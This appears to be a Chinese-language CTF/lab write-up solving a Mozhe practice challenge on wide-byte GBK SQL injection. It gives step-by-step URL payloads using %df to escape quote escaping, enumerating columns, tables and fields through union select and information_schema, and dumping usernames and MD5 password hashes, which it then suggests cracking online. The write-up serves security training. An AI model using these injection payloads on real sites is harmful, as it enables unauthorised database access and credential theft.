墨者 - SQL注入漏洞测试(宽字节)

原理

  因为当想构造单引号 ‘ 的时候,被转义成 \' ,无法构造sql查询语句。

解决核心思想

  当数据库编码为GBK的时候,在构造的单引号前加上%df,因为反斜杠的编码为%5c,%df%5c可以构造成一个繁体字"逮",单引号可以成功逃逸。

 

/new_list.php?id=1%df%27,单引号成功逃逸

 /new_list.php?id=1%df' order by 1-- + 没报错

墨者 - SQL注入漏洞测试(宽字节)_第1张图片

 

测试测到有5个字段

墨者 - SQL注入漏洞测试(宽字节)_第2张图片

 

 /new_list.php?id=-1%df' union select 1,2,3,4,5--+   测试回显位置墨者 - SQL注入漏洞测试(宽字节)_第3张图片

 

 

/new_list.php?id=-1%df' union select 1,2,database(),4,5--+ 爆库

墨者 - SQL注入漏洞测试(宽字节)_第4张图片

 

 new_list.php?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5--+  爆表

墨者 - SQL注入漏洞测试(宽字节)_第5张图片

这里爆字段需要注意一下,因为根据where=’表‘ 查 字段名字,这里用到单引号,这里也会被转义所以会出现以下报错

 所以需要把表名转16进制(前面加上0x)

/new_list.php?id=-1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,5--+   爆字段

 

墨者 - SQL注入漏洞测试(宽字节)_第6张图片

 

最后爆字段值 /new_list.php?id=-1%df' union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+

一个一个试一试,MD5在线解密即可 

你可能感兴趣的:(墨者刷题笔记)